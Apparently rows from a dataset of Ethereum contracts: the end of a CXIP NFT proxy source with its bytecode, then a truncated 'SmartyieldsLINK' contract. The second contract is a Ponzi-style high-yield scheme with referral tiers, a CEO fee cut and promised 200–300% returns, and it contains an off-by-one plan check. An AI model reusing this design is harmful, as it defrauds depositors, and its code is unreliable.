bytes32 s;
uint8 v;
}
struct CollectionData {
bytes32 name;
bytes32 name2;
bytes32 symbol;
address royalties;
uint96 bps;
}
struct TokenData {
bytes32 payloadHash;
Verification payloadSignature;
address creator;
bytes32 arweave;
bytes11 arweave2;
bytes32 ipfs;
bytes14 ipfs2;
}
interface IPA1D {
function supportsInterface (bytes4 interfaceId) external pure returns (bool);
}
interface ICxipProvenance {
function getIdentity () external view returns (address);
function getWalletIdentity (address wallet) external view returns (address);
function isIdentityValid (address identity) external view returns (bool);
}
interface ICxipIdentity {
function isWalletRegistered (address wallet) external view returns (bool);
function isOwner () external view returns (bool);
function isCollectionCertified (address collection) external view returns (bool);
function isCollectionRegistered (address collection) external view returns (bool);
}
interface ICxipRegistry {
function getPA1D () external view returns (address);
function setPA1D (address proxy) external;
function getPA1DSource () external view returns (address);
function setPA1DSource (address source) external;
function getAsset () external view returns (address);
function setAsset (address proxy) external;
function getAssetSource () external view returns (address);
function setAssetSource (address source) external;
function getCopyright () external view returns (address);
function setCopyright (address proxy) external;
function getCopyrightSource () external view returns (address);
function setCopyrightSource (address source) external;
function getProvenance () external view returns (address);
function setProvenance (address proxy) external;
function getProvenanceSource () external view returns (address);
function setProvenanceSource (address source) external;
function getIdentitySource () external view returns (address);
function setIdentitySource (address source) external;
function getERC721CollectionSource () external view returns (address);
function setERC721CollectionSource (address source) external;
function getERC1155CollectionSource () external view returns (address);
function setERC1155CollectionSource (address source) external;
function getAssetSigner () external view returns (address);
function setAssetSigner (address source) external;
function getCustomSource (bytes32 name) external view returns (address);
function getCustomSourceFromString (string memory name) external view returns (address);
function setCustomSource (string memory name, address source) external;
function owner () external view returns (address);
}
contract OpenSeaOwnableDelegateProxy {
}
contract OpenSeaProxyRegistry {
mapping (address => OpenSeaOwnableDelegateProxy) public proxies;
} | 0x6080604052600436106102385760003560e01c80634f8baacc11610138578063a546993e116100b0578063c87b56dd1161007f578063e985e9c511610064578063e985e9c5146106f2578063f2fde38b14610712578063f95bb91e1461073257610247565b8063c87b56dd1461067d578063e8a3d485146106dd57610247565b8063a546993e1461067d578063ab67aa581461069d578063b0cacd43146106bd578063b88d4fde1461069d57610247565b80636c0360eb116101075780638f32d59b116100ec5780638f32d59b1461063357806395d89b4114610648578063a22cb4651461065d57610247565b80636c0360eb146106095780638da5cb5b1461061e57610247565b80634f8baacc146105a9578063510b51581461029157806351e32024146105c95780636352211e146105e957610247565b80631a5c7f92116101cb57806336afc6fa1161019a57806342966c681161017f57806342966c681461053c578063475a80351461055c57806349e654401461058957610247565b806336afc6fa1461052757806342842e0e1461045657610247565b80631a5c7f921461043657806323b872dd146104565780632c2dadbc14610476578063367605ca1461050757610247565b8063095ea7b311610207578063095ea7b314610361578063128bfa2514610381578063150b7a02146103a157806318160ddd1461041757610247565b806301ffc9a71461025c57806306ce0db81461029157806306fdde03146102fc578063081812fc1461031e57610247565b3661024757610245610752565b005b34801561025357600080fd5b50610245610752565b34801561026857600080fd5b5061027c6102773660046129ea565b610811565b60405190151581526020015b60405180910390f35b34801561029d57600080fd5b506102d76102ac36600461294f565b6000908152600c602052604090206004015473ffffffffffffffffffffffffffffffffffffffff1690565b60405173ffffffffffffffffffffffffffffffffffffffff9091168152602001610288565b34801561030857600080fd5b50610311610af6565b6040516102889190612bf2565b34801561032a57600080fd5b506102d761033936600461294f565b60009081526008602052604090205473ffffffffffffffffffffffffffffffffffffffff1690565b34801561036d57600080fd5b5061024561037c366004612908565b610b36565b34801561038d57600080fd5b5061024561039c3660046128ab565b610bfa565b3480156103ad57600080fd5b506103e66103bc366004612716565b7f150b7a020000000000000000000000000000000000000000000000000000000095945050505050565b6040517fffffffff000000000000000000000000000000000000000000000000000000009091168152602001610288565b34801561042357600080fd5b50600f545b604051908152602001610288565b34801561044257600080fd5b5061031161045136600461294f565b610f71565b34801561046257600080fd5b506102456104713660046126d6565b61100d565b34801561048257600080fd5b506104e261049136600461294f565b604080516060808201835260008083526020808401829052928401819052938452600c82529282902082519384018352600181015484526002810154918401919091526003015460ff169082015290565b6040805182518152602080840151908201529181015160ff1690820152606001610288565b34801561051357600080fd5b5061024561052236600461268c565b611028565b34801561053357600080fd5b506102d7611161565b34801561054857600080fd5b5061024561055736600461294f565b61129c565b34801561056857600080fd5b5061042861057736600461294f565b6000908152600c602052604090205490565b34801561059557600080fd5b506102456105a436600461294f565b611476565b3480156105b557600080fd5b506104286105c4366004612a2a565b6114e9565b3480156105d557600080fd5b506103116105e436600461294f565b611652565b3480156105f557600080fd5b506102d761060436600461294f565b611676565b34801561061557600080fd5b50610311611708565b34801561062a57600080fd5b506102d7611723565b34801561063f57600080fd5b5061027c611753565b34801561065457600080fd5b50610311611840565b34801561066957600080fd5b5061024561067836600461287e565b611850565b34801561068957600080fd5b5061031161069836600461294f565b611937565b3480156106a957600080fd5b506102456106b8366004612787565b6119bd565b3480156106c957600080fd5b5061027c6106d83660046129a0565b6119dd565b3480156106e957600080fd5b50610311611a3d565b3480156106fe57600080fd5b5061027c61070d366004612654565b611a58565b34801561071e57600080fd5b5061024561072d36600461261c565b611b9e565b34801561073e57600080fd5b5061024561074d36600461297f565b611c6d565b600073c267d41f81308d7773ecb3bdd863a902acc01ade73ffffffffffffffffffffffffffffffffffffffff166381d1779c6040518163ffffffff1660e01b815260040160206040518083038186803b1580156107ae57600080fd5b505afa1580156107c2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e69190612638565b90503660008037600080366000845af43d6000803e808015610807573d6000f35b3d6000fd5b505050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007fffffffff00000000000000000000000000000000000000000000000000000000831614806108a457507f80ac58cd000000000000000000000000000000000000000000000000000000007fffffffff000000000000000000000000000000000000000000000000000000008316145b806108f057507f5b5e139f000000000000000000000000000000000000000000000000000000007fffffffff000000000000000000000000000000000000000000000000000000008316145b8061093c57507f150b7a02000000000000000000000000000000000000000000000000000000007fffffffff000000000000000000000000000000000000000000000000000000008316145b8061098857507fe8a3d485000000000000000000000000000000000000000000000000000000007fffffffff000000000000000000000000000000000000000000000000000000008316145b80610ae1575073c267d41f81308d7773ecb3bdd863a902acc01ade73ffffffffffffffffffffffffffffffffffffffff166381d1779c6040518163ffffffff1660e01b815260040160206040518083038186803b1580156109e857600080fd5b505afa1580156109fc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a209190612638565b6040517f01ffc9a70000000000000000000000000000000000000000000000000000000081527fffffffff000000000000000000000000000000000000000000000000000000008416600482015273ffffffffffffffffffffffffffffffffffffffff91909116906301ffc9a79060240160206040518083038186803b158015610aa957600080fd5b505afa158015610abd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ae19190612933565b15610aee57506001919050565b506000919050565b6060610b056000800154611ce6565b600154610b1190611ce6565b604051602001610b22929190612aba565b604051602081830303815290604052905090565b60008181526007602052604090205473ffffffffffffffffffffffffffffffffffffffff9081169083168114801590610b745750610b743383611d68565b1561080c5760008281526008602052604080822080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff87811691821790925591518593918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050565b600d5473ffffffffffffffffffffffffffffffffffffffff1615610c7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f435849503a20616c726561647920696e697469616c697a65640000000000000060448201526064015b60405180910390fd5b600d80547fffffffffffffffffffffffff00000000000000000000000000000000000000009081163317909155600e805490911630179055806000610cc48282612e16565b506000905073c267d41f81308d7773ecb3bdd863a902acc01ade73ffffffffffffffffffffffffffffffffffffffff166381d1779c6040518163ffffffff1660e01b815260040160206040518083038186803b158015610d2357600080fd5b505afa158015610d37573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d5b9190612638565b73ffffffffffffffffffffffffffffffffffffffff167fea2299f8000000000000000000000000000000000000000000000000000000006000610da4608086016060870161261c565b610db460a0870160808801612a72565b60405160ff909316602484015273ffffffffffffffffffffffffffffffffffffffff90911660448301526bffffffffffffffffffffffff166064820152608401604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181529181526020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fffffffff00000000000000000000000000000000000000000000000000000000909416939093179092529051610e7d9190612a9e565b600060405180830381855af49150503d8060008114610eb8576040519150601f19603f3d011682016040523d82523d6000602084013e610ebd565b606091505b5050905080610f28576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f435849503a206661696c65642073657474696e6720726f79616c7469657300006044820152606401610c76565b5050600e80547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b6000818152600c602090815260409182902060078101546008909101549251606093610ff79360909190911b91017f68747470733a2f2f697066732e696f2f697066732f0000000000000000000000815260158101929092527fffffffffffffffffffffffffffff00000000000000000000000000000000000016603582015260430190565b6040516020818303038152906040529050919050565b61080c838383604051806020016040528060008152506119bd565b611030611753565b611096576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f435849503a2063616c6c6572206e6f7420616e206f776e6572000000000000006044820152606401610c76565b8273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461080c5773ffffffffffffffffffffffffffffffffffffffff8381166000818152600b602090815260408083209487168084529482529182902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001686151590811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050565b600073c267d41f81308d7773ecb3bdd863a902acc01ade73ffffffffffffffffffffffffffffffffffffffff1663b9da967d6040518163ffffffff1660e01b815260040160206040518083038186803b1580156111bd57600080fd5b505afa1580156111d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111f59190612638565b600e546040517f4b19fac800000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff9182166004820152911690634b19fac89060240160206040518083038186803b15801561125f57600080fd5b505afa158015611273573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112979190612638565b905090565b6112a63382611d68565b156114735760008181526007602052604090205473ffffffffffffffffffffffffffffffffffffffff16806112da57600080fd5b600082815260086020526040902080547fffffffffffffffffffffffff000000000000000000000000000000000000000016905560008281526007602052604080822080547fffffffffffffffffffffffff00000000000000000000000000000000000000001690555183919073ffffffffffffffffffffffffffffffffffffffff8416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908390a46001600f60008282546113979190612c98565b9091555050506000818152600c6020526040812081815560018101829055600281018290556003810180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001690556004810180547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055600581018290556006810180547fffffffffffffffffffffffffffffffffffffffffff0000000000000000000000169055600781019190915560080180547fffffffffffffffffffffffffffffffffffff00000000000000000000000000001690555b50565b61147e611753565b6114e4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f435849503a2063616c6c6572206e6f7420616e206f776e6572000000000000006044820152606401610c76565b600255565b60006114f3611753565b611559576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f435849503a2063616c6c6572206e6f7420616e206f776e6572000000000000006044820152606401610c76565b8261157c576001600460008282546115719190612c43565b909155505060045492505b61159561158f60a084016080850161261c565b84611eb2565b6000838152600c6020526040902082906115af8282612ed4565b50506040517f68747470733a2f2f617277656176652e6e65742f000000000000000000000000602082015260a0830135603482015283907fa109ba539900bf1b633f956d63c96fc89b814c7287f7aa50a9216d0b5565720790605401604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181529082905261164391612bf2565b60405180910390a25090919050565b606061165c611708565b61166583611fc2565b604051602001610ff7929190612ae9565b60008181526007602052604081205473ffffffffffffffffffffffffffffffffffffffff1680611702576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f4552433732313a20746f6b656e20646f6573206e6f74206578697374000000006044820152606401610c76565b92915050565b60606117133061202f565b604051602001610b229190612bad565b600061172d611753565b61174e5750600e5473ffffffffffffffffffffffffffffffffffffffff1690565b503390565b600e5460009073ffffffffffffffffffffffffffffffffffffffff163314806117935750600d5473ffffffffffffffffffffffffffffffffffffffff1633145b8061129757506117a1611161565b6040517f7f247e4900000000000000000000000000000000000000000000000000000000815233600482015273ffffffffffffffffffffffffffffffffffffffff9190911690637f247e499060240160206040518083038186803b15801561180857600080fd5b505afa15801561181c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112979190612933565b6060611297600060020154611ce6565b73ffffffffffffffffffffffffffffffffffffffff8216331461190457336000818152600b6020908152604080832073ffffffffffffffffffffffffffffffffffffffff87168085529083529281902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b5050565b6000818152600c602090815260409182902060058101546006909101549251606093610ff79360a89190911b91017f68747470733a2f2f617277656176652e6e65742f000000000000000000000000815260148101929092527fffffffffffffffffffffff000000000000000000000000000000000000000000166034820152603f0190565b6119c73383611d68565b156119d7576119d7848484612050565b50505050565b600080600284846040516119f2929190612a8e565b602060405180830381855afa158015611a0f573d6000803e3d6000fd5b5050506040513d601f19601f82011682018060405250810190611a329190612967565b909414949350505050565b6060611a483061202f565b604051602001610b229190612b41565b73ffffffffffffffffffffffffffffffffffffffff8083166000908152600b6020908152604080832093851683529290529081205460ff1680611ac45750734fee7b061c97c9c496b01dbce9cdb10c02f0a0be73ffffffffffffffffffffffffffffffffffffffff8316145b80611b9757506040517fc455279100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff848116600483015283169073a5409ec958c83c3f309868babaca7c86dcb077c19063c45527919060240160206040518083038186803b158015611b4757600080fd5b505afa158015611b5b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b7f9190612638565b73ffffffffffffffffffffffffffffffffffffffff16145b9392505050565b611ba6611753565b611c0c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f435849503a2063616c6c6572206e6f7420616e206f776e6572000000000000006044820152606401610c76565b73ffffffffffffffffffffffffffffffffffffffff81161561147357600e805473ffffffffffffffffffffffffffffffffffffffff83167fffffffffffffffffffffffff000000000000000000000000000000000000000090911617905550565b611c75611753565b611cdb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f435849503a2063616c6c6572206e6f7420616e206f776e6572000000000000006044820152606401610c76565b600091909155600155565b60608160005b8115611d0b5780611cfc81612d10565b915050600882901c9150611cec565b611d6084604051602001611d2191815260200190565b604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0818403018152919052611d5a836020612c98565b83612155565b949350505050565b60008181526007602052604081205473ffffffffffffffffffffffffffffffffffffffff16611d9657600080fd5b60008281526007602052604090205473ffffffffffffffffffffffffffffffffffffffff908116908416811480611df3575060008381526008602052604090205473ffffffffffffffffffffffffffffffffffffffff8581169116145b80611e035750611e038185611a58565b80611d605750611e11611161565b6040517f7f247e4900000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff86811660048301529190911690637f247e499060240160206040518083038186803b158015611e7a57600080fd5b505afa158015611e8e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d609190612933565b73ffffffffffffffffffffffffffffffffffffffff82161580611ef8575060008181526007602052604090205473ffffffffffffffffffffffffffffffffffffffff1615155b15611f2c577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b60008181526007602052604080822080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a46001600f6000828254611fb99190612c43565b90915550505050565b60608161200257505060408051808201909152600481527f3078303000000000000000000000000000000000000000000000000000000000602082015290565b8160005b8115612025578061201681612d10565b915050600882901c9150612006565b611d6084826122cf565b60606117028273ffffffffffffffffffffffffffffffffffffffff16611fc2565b60008181526007602052604090205473ffffffffffffffffffffffffffffffffffffffff848116911614801561209b575073ffffffffffffffffffffffffffffffffffffffff821615155b1561190457600081815260086020526040902080547fffffffffffffffffffffffff000000000000000000000000000000000000000016905560008181526007602052604080822080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff86811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b60608161216381601f612c43565b10156121cb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600e60248201527f736c6963655f6f766572666c6f770000000000000000000000000000000000006044820152606401610c76565b6121d58284612c43565b8451101561223f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f736c6963655f6f75744f66426f756e64730000000000000000000000000000006044820152606401610c76565b60608215801561225e57604051915060008252602082016040526122c6565b6040519150601f8416801560200281840101858101878315602002848b0101015b8183101561229757805183526020928301920161227f565b5050858452601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016604052505b50949350505050565b606060006122de836002612c5b565b6122e9906002612c43565b67ffffffffffffffff811115612328577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015612352576020820181803683370190505b5090507f3000000000000000000000000000000000000000000000000000000000000000816000815181106123b0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053507f78000000000000000000000000000000000000000000000000000000000000008160018151811061243a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053506000612476846002612c5b565b612481906001612c43565b90505b600181111561256c577f303132333435363738396162636465660000000000000000000000000000000085600f16601081106124e9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b1a60f81b828281518110612526577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535060049490941c9361256581612cdb565b9050612484565b508315611b97576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f537472696e67733a20686578206c656e67746820696e73756666696369656e746044820152606401610c76565b60008083601f8401126125e6578182fd5b50813567ffffffffffffffff8111156125fd578182fd5b60208301915083602082850101111561261557600080fd5b9250929050565b60006020828403121561262d578081fd5b8135611b978161301c565b600060208284031215612649578081fd5b8151611b978161301c565b60008060408385031215612666578081fd5b82356126718161301c565b915060208301356126818161301c565b809150509250929050565b6000806000606084860312156126a0578081fd5b83356126ab8161301c565b925060208401356126bb8161301c565b915060408401356126cb8161303e565b809150509250925092565b6000806000606084860312156126ea578283fd5b83356126f58161301c565b925060208401356127058161301c565b929592945050506040919091013590565b60008060008060006080868803121561272d578081fd5b85356127388161301c565b945060208601356127488161301c565b935060408601359250606086013567ffffffffffffffff81111561276a578182fd5b612776888289016125d5565b969995985093965092949392505050565b6000806000806080858703121561279c578384fd5b84356127a78161301c565b935060208501356127b78161301c565b925060408501359150606085013567ffffffffffffffff808211156127da578283fd5b818701915087601f8301126127ed578283fd5b8135818111156127ff576127ff612d78565b604051601f82017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0908116603f0116810190838211818310171561284557612845612d78565b816040528281528a602084870101111561285d578586fd5b82602086016020830137918201602001949094529598949750929550505050565b60008060408385031215612890578182fd5b823561289b8161301c565b915060208301356126818161303e565b60008082840360c08112156128be578283fd5b83356128c98161301c565b925060a07fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0820112156128fa578182fd5b506020830190509250929050565b6000806040838503121561291a578182fd5b82356129258161301c565b946020939093013593505050565b600060208284031215612944578081fd5b8151611b978161303e565b600060208284031215612960578081fd5b5035919050565b600060208284031215612978578081fd5b5051919050565b60008060408385031215612991578182fd5b50508035926020909101359150565b6000806000604084860312156129b4578081fd5b83359250602084013567ffffffffffffffff8111156129d1578182fd5b6129dd868287016125d5565b9497909650939450505050565b6000602082840312156129fb578081fd5b81357fffffffff0000000000000000000000000000000000000000000000000000000081168114611b97578182fd5b600080828403610140811215612a3e578283fd5b833592506101207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0820112156128fa578182fd5b600060208284031215612a83578081fd5b8135611b978161304c565b8183823760009101908152919050565b60008251612ab0818460208701612caf565b9190910192915050565b60008351612acc818460208801612caf565b835190830190612ae0818360208801612caf565b01949350505050565b60008351612afb818460208801612caf565b7f2f000000000000000000000000000000000000000000000000000000000000009083019081528351612b35816001840160208801612caf565b01600101949350505050565b7f68747470733a2f2f6e66742e637869702e696f2f000000000000000000000000815260008251612b79816014850160208701612caf565b7f2f000000000000000000000000000000000000000000000000000000000000006014939091019283015250601501919050565b7f68747470733a2f2f637869702e696f2f6e66742f000000000000000000000000815260008251612be5816014850160208701612caf565b9190910160140192915050565b6020815260008251806020840152612c11816040850160208701612caf565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169190910160400192915050565b60008219821115612c5657612c56612d49565b500190565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612c9357612c93612d49565b500290565b600082821015612caa57612caa612d49565b500390565b60005b83811015612cca578181015183820152602001612cb2565b838111156119d75750506000910152565b600081612cea57612cea612d49565b507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0190565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612d4257612d42612d49565b5060010190565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600081356117028161301c565b600081357fffffffffffffffffffffff00000000000000000000000000000000000000000081168114611702578182fd5b600081357fffffffffffffffffffffffffffff00000000000000000000000000000000000081168114611702578182fd5b813581556020820135600182015560408201356002820155600381016060830135612e408161301c565b81547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff8216178255506080830135612e8d8161304c565b815473ffffffffffffffffffffffffffffffffffffffff1660a09190911b7fffffffffffffffffffffffff0000000000000000000000000000000000000000161790555050565b81358155602082013560018201556040820135600282015560038101606083013560ff8116808214612f0557600080fd5b82547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00161790915550612f83612f3d60808401612da7565b6004830173ffffffffffffffffffffffffffffffffffffffff82167fffffffffffffffffffffffff00000000000000000000000000000000000000008254161781555050565b60a08201356005820155612fcf612f9c60c08401612db4565b600683018160a81c7fffffffffffffffffffffffffffffffffffffffffff00000000000000000000008254161781555050565b60e08201356007820155611933612fe96101008401612de5565b600883018160901c7fffffffffffffffffffffffffffffffffffff00000000000000000000000000008254161781555050565b73ffffffffffffffffffffffffffffffffffffffff8116811461147357600080fd5b801515811461147357600080fd5b6bffffffffffffffffffffffff8116811461147357600080fdfea264697066735822122098c3864c4842e96c0858b3fe39bab52d4cc5c5e56ff55a0057cf5bd63601208664736f6c63430008040033 | {"success": true, "error": null, "results": {}} | 179 |
0x99d916601a94702370f9d0230bae6f416736e6a4 | pragma solidity 0.5.10;
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library SafeERC20 {
using SafeMath for uint;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(isContract(address(token)), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
contract SmartyieldsLINK {
using SafeMath for uint256;
using SafeERC20 for IERC20;
address private tokenAddr = 0x514910771AF9Ca656af840dff83E8264EcF986CA; // LINK
IERC20 public token;
uint256[] public REFERRAL_PERCENTS = [50, 40, 30];
uint256[] public BONUS_PERCENTS = [100, 150, 200, 250, 300];
uint256 constant public TOTAL_REF = 120;
uint256 constant public CEO_FEE = 100;
uint256 constant public HOLD_BONUS = 10;
uint256 constant public PERCENTS_DIVIDER = 1000;
uint256 constant public TIME_STEP = 1 days;
uint256 public totalInvested;
uint256 public totalBonus;
uint256 public INVEST_MIN_AMOUNT = 2.15 ether;
uint256 public BONUS_MIN_AMOUNT = 2.15 ether;
bool public bonusStatus = false;
struct Plan {
uint256 time;
uint256 percent;
}
Plan[] internal plans;
struct Deposit {
uint8 plan;
uint256 amount;
uint256 start;
}
struct User {
Deposit[] deposits;
uint256 checkpoint;
address referrer;
uint256[3] levels;
uint256 bonus;
uint256 totalBonus;
uint256 withdrawn;
}
mapping (address => User) internal users;
mapping (address => mapping(uint256 => uint256)) internal userDepositBonus;
uint256 public startDate;
address payable public ceoWallet;
event Newbie(address user);
event NewDeposit(address indexed user, uint8 plan, uint256 amount, uint256 time);
event Withdrawn(address indexed user, uint256 amount, uint256 time);
event RefBonus(address indexed referrer, address indexed referral, uint256 indexed level, uint256 amount);
event FeePayed(address indexed user, uint256 totalAmount);
constructor(address payable ceoAddr, uint256 start) public {
require(!isContract(ceoAddr));
ceoWallet = ceoAddr;
token = IERC20(tokenAddr);
if(start>0){
startDate = start;
}
else{
startDate = block.timestamp;
}
plans.push(Plan(40, 50)); // 200%
plans.push(Plan(60, 40)); // 240%
plans.push(Plan(100, 30)); // 300%
}
function invest(address referrer, uint8 plan , uint256 amount) public {
require(block.timestamp > startDate, "contract does not launch yet");
require(amount >= INVEST_MIN_AMOUNT,"error min");
require(plan < 4, "Invalid plan");
require(amount <= token.allowance(msg.sender, address(this)) ,"Tansaction not approved");
token.safeTransferFrom(msg.sender, address(this), amount);
uint256 ceo = amount.mul(CEO_FEE).div(PERCENTS_DIVIDER);
token.safeTransfer(ceoWallet, ceo);
emit FeePayed(msg.sender, ceo);
User storage user = users[msg.sender];
if (user.referrer == address(0)) {
if (users[referrer].deposits.length > 0 && referrer != msg.sender) {
user.referrer = referrer;
}
else{
user.referrer = ceoWallet;
}
address upline = user.referrer;
for (uint256 i = 0; i < 3; i++) {
if (upline != address(0)) {
users[upline].levels[i] = users[upline].levels[i].add(1);
upline = users[upline].referrer;
} else break;
}
}
if (user.referrer != address(0)) {
address upline = user.referrer;
for (uint256 i = 0; i < 3; i++) {
if (upline != address(0)) {
uint256 refAmount = amount.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);
users[upline].bonus = users[upline].bonus.add(refAmount);
users[upline].totalBonus = users[upline].totalBonus.add(refAmount);
emit RefBonus(upline, msg.sender, i, refAmount);
upline = users[upline].referrer;
} else break;
}
}else{
uint256 refAmount = amount.mul(TOTAL_REF).div(PERCENTS_DIVIDER);
token.safeTransfer(ceoWallet, refAmount);
}
if (user.deposits.length == 0) {
user.checkpoint = block.timestamp;
emit Newbie(msg.sender);
}
user.deposits.push(Deposit(plan, amount, block.timestamp));
totalInvested = totalInvested.add(amount);
emit NewDeposit(msg.sender, plan, amount, block.timestamp);
}
function withdraw() public {
User storage user = users[msg.sender];
uint256 totalAmount = getUserDividends(msg.sender);
uint256 referralBonus = getUserReferralBonus(msg.sender);
if (referralBonus > 0) {
user.bonus = 0;
totalAmount = totalAmount.add(referralBonus);
}
require(totalAmount > 0, "User has no dividends");
uint256 contractBalance = token.balanceOf(address(this));
if (contractBalance < totalAmount) {
user.bonus = totalAmount.sub(contractBalance);
totalAmount = contractBalance;
}
user.checkpoint = block.timestamp;
user.withdrawn = user.withdrawn.add(totalAmount);
token.safeTransfer(msg.sender, totalAmount);
emit Withdrawn(msg.sender, totalAmount, block.timestamp);
}
function getContractBalance() public view returns (uint256) {
return token.balanceOf(address(this));
}
function getPlanInfo(uint8 plan) public view returns(uint256 time, uint256 percent) {
time = plans[plan].time;
percent = plans[plan].percent;
}
function getUserDividends(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 totalAmount;
for (uint256 i = 0; i < user.deposits.length; i++) {
uint256 finish = user.deposits[i].start.add(plans[user.deposits[i].plan].time.mul(TIME_STEP));
if (user.checkpoint < finish) {
uint256 share = user.deposits[i].amount.mul(plans[user.deposits[i].plan].percent).div(PERCENTS_DIVIDER);
uint256 from = user.deposits[i].start > user.checkpoint ? user.deposits[i].start : user.checkpoint;
uint256 to = finish < block.timestamp ? finish : block.timestamp;
if (from < to) {
totalAmount = totalAmount.add(share.mul(to.sub(from)).div(TIME_STEP));
